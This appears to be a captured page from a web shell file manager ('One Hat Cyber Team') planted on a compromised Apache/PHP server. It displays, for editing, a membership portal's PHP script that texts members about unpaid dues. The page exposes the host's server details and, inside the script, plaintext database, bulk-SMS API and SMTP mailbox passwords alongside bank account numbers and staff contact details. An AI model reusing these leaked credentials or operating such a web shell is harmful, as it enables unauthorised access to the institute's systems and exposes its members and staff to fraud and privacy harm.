One Hat Cyber Team
Your IP :
216.73.216.84
Server IP :
50.6.229.107
Server :
Linux server.hostburly.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.2.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
andjemzt
/
nportal.andjemztech.com
/
membership
/
Edit File:
demand_sms.php
<?php ini_set("max_execution_time", "120"); $con = mysqli_connect("localhost","niqsorgn_portal","@Xchange69!"); $db = mysqli_select_db($con, "niqsorgn_pota1969"); $sms=""; /*$sql=mysql_query("SELECT * FROM members a, dues b WHERE a.memberNo = b.memberNo AND a.memberPhone!='' AND (b.outstanding + b.annualSub + b.advance + b.upgradeCharge) > '500' ORDER BY a.memberID");*/ $sql=mysql_query($con, "SELECT * FROM members a, dues b WHERE a.memberNo = b.memberNo AND a.memberPhone!=''"); if(!$sql){ echo mysqli_error($con); } while ($row=mysqli_fetch_array($sql)){ $memNo=$row['memberNo']; $name=$row['memberSurname']; $date=date('Y-m-d'); $phone=formatPhoneNumber($row['memberPhone']); $phone2 = formatPhoneNumber($row['memberPhone2']); $amount=number_format($row['outstanding'],2); $annualSub=$row['annualSub']; $annualSub2017=$row['annualSub2017']; $annualSub2018=$row['annualSub2018']; $advance=$row['advance']; $devtlevy1=$row['devtLevy1']; $devtlevy2=$row['devtLevy2']; $upgradeCharge=$row['upgradeCharge']; $annual=number_format($annualSub,2); $annual2017=number_format($annualSub2017,2); $annual2018=number_format($annualSub2018,2); //$total=number_format($row['outstanding']+$annualSub+$advance+$upgradeCharge,2); $total=$row['outstanding']+$annualSub+$annualSub2017+$annualSub2018+$advance+$upgradeCharge+$devtlevy1+$devtlevy2; /*$sms="Dear $name $memNo,\nThe Institute is in the process of publishing the Directory of Members & Practicing Firms which shall include only those who are FINANCIALLY UP TO DATE AS AT 31st May, 2016.\nKindly pay your outstanding balance of N".$total ." with the Institute to Skye Bank No.: 1150000015 \nor\n GTBank No.: 0010899819 and scan your teller to niqsenquiry@gmail.com for prompt update. \n\nRegards.\n\nM. Abba Tor Sec. Gen.\n08167593807";*/ $sms = "Dear $name $memNo,\n\nThe Institute is in the process of compiling a Directory of Members and Practicing Firms which shall include only those who are FINANCIALLY UP TO DATE AS AT 31st May, 2018.\nKindly pay your outstanding balance if any with the Institute to\nSkye Bank No.: 1150000015\nOr\nGT Bank No.: 0010899819\nand scan your teller to niqsenquiry@gmail.com\n for prompt update.\nQS Oyinleye Adebowale, FNIQS\nSec. Gen.\n08167593807"; $contact_no = ''; //$phone.",".$phone2; if (!empty($phone)&& (strlen($phone) == 13 ) && is_numeric($phone)){ $contact_no = $phone; if (!empty($phone2) && (strlen($phone2) == 13 ) && is_numeric($phone2)){ $contact_no = $phone.",".$phone2; } //$contact_no .= $phone.","; } if (sendSMS($contact_no,$sms)){ //mysql_query("UPDATE members SET sent='3' WHERE memberNo='$memNo'"); $bal = "https://netbulksms.com/index.php?option=com_spc&comm=spc_api&username=niqs&password=qsoffice1969&balance=true"; $f = @fopen($bal,"r"); $answer = fgets($f, 255); $html = " <br />Balance: ".$answer." <br />Phone Number: ".$phone." <br />SMS: ".$sms; @sendMail("cron_mail@niqs.org.ng",$html); echo $html; } } echo $html; //@sendMail("cron_mail@niqs.org.ng",$html); //$msg = "Testing sms from portal"; /*$sms="Dear $name $memNo,\nThe Institute is in the process of publishing the Directory of Members & Practicing Firms which shall include only those who are FINANCIALLY UP TO DATE AS AT 31st May, 2016.\nKindly pay your outstanding balance if any with the Institute to Skye Bank No.: 1150000015 \nor\n GTBank No.: 0010899819 and scan your teller to niqsenquiry@gmail.com for prompt update. \n\nRegards.\n\nM. Abba Tor Sec. Gen.\n08167593807";*/ /*$sms = "Dear $name $memNo,\n\nThe Institute is in the process of compiling a Directory of Members and Practicing Firms which shall include only those who are FINANCIALLY UP TO DATE AS AT 31st May, 2016.\nKindly pay your outstanding balance if any with the Institute to\nSkye Bank No.: 1150000015\nOr\nGT Bank No.: 0010899819\nand scan your teller to niqsenquiry@gmail.com\n for prompt update.\nQS Oyinleye Adebowale, FNIQS\nSec. Gen.\n08167593807"; */ //@sendSMS("08184949695,07036107418",$sms); echo "<BR />".$sms; function sendSMS($phone,$message){ $owneremail="n.ogungbemi@niqs.org.ng"; $username="niqs"; $pwd="qsoffice1969"; $sender="NIQS"; /* sender id */ //$msg="testing "; $url = "https://netbulksms.com/index.php?option=com_spc&comm=spc_api" . "&username=" . UrlEncode($username) . "&password=" . UrlEncode($pwd) . "&sender=" . UrlEncode($sender) . "&recipient=" . UrlEncode($phone) . "&message=".UrlEncode($message); /*if ($f = @fopen($url, "r")) { $answer = fgets($f, 255); if (substr($answer, 0, 1) == "+") { //return 1; echo "successful"; } else { // return 2; echo "An error has occurred: [$answer]."; } } else { //return 0; echo "Error: URL could not be opened."; } */ $myfile = fopen($url, "r") or die("Unable to open file!"); $answer = fgets($myfile); //$answer = fgets($f, 255); if (substr($answer, 0, 2) == "OK") { //return 1; echo "Successful ".$answer; } else { // return 2; echo "An error has occurred: [$answer]."; } } function formatPhoneNumber($phonenum){ $phonenum = trim($phonenum); $phonenum = str_replace(" ","",$phonenum); $phonenum = str_replace("-","",$phonenum);//remove - $sign_position = strpos($phonenum,"+"); if(substr($phonenum, 0,3) == "080" or substr($phonenum, 0,3) == "081" or substr($phonenum, 0,3) == "070" or substr($phonenum, 0,3) == "090"){ $myphone_num = substr($phonenum,1); $myphone_num = "234".$myphone_num; //echo "is $myphone_num"; } elseif(substr($phonenum, 0,1) == "+"){ $myphone_num = substr($phonenum,1);//remove the + sign $myphone_num = str_replace("(0)","",$myphone_num); }else{ $myphone_num = "234".$phonenum; } $count_num = $myphone_num."."; $last = strpos($count_num,"."); if($last < 14) { return $myphone_num; } } function sendMail($email,$html){ $from = "info@niqs.org.ng"; //enter your email address //$to = $email; //enter the email address of the contact your sending to $to = "salisuspot@niqs.org.ng"; $subject = "Publication of Directory of Members and Firms"; // subject of your email $headers = array ('From' => $from,'To' => $to, 'Subject' => $subject); $text = ''; // text versions of email. //$html = "<html><body>Name: $name <br> Email: $email <br>Message: $message <br></body></html>"; // html versions of email. $crlf = "\n"; $mime = new Mail_mime($crlf); //$mime->setTXTBody($text); $mime->setHTMLBody($html); //do not ever try to call these lines in reverse order $body = $mime->get(); $headers = $mime->headers($headers); $host = "localhost"; // all scripts must use localhost $username = "info@niqs.org.ng"; // your email address (same as webmail username) $password = "Welcome007!"; // your password (same as webmail password) $smtp = Mail::factory('smtp', array ('host' => $host, 'auth' => true, 'username' => $username,'password' => $password,'port' => 25)); $mail = $smtp->send($to, $headers, $body); if (PEAR::isError($mail)) { return 0; //echo("<p>" . $mail->getMessage() . "</p>"); } else { return 1; //echo("<p>Message successfully sent!</p>"); // header("Location: http://www.example.com/"); } } function strafter($string, $substring) { $pos = strpos($string, $substring); if ($pos === false) return $string; else return(substr($string, $pos+strlen($substring))); } function strbefore($string, $substring) { $pos = strpos($string, $substring); if ($pos === false) return $string; else return(substr($string, 0, $pos)); } ?>
Simpan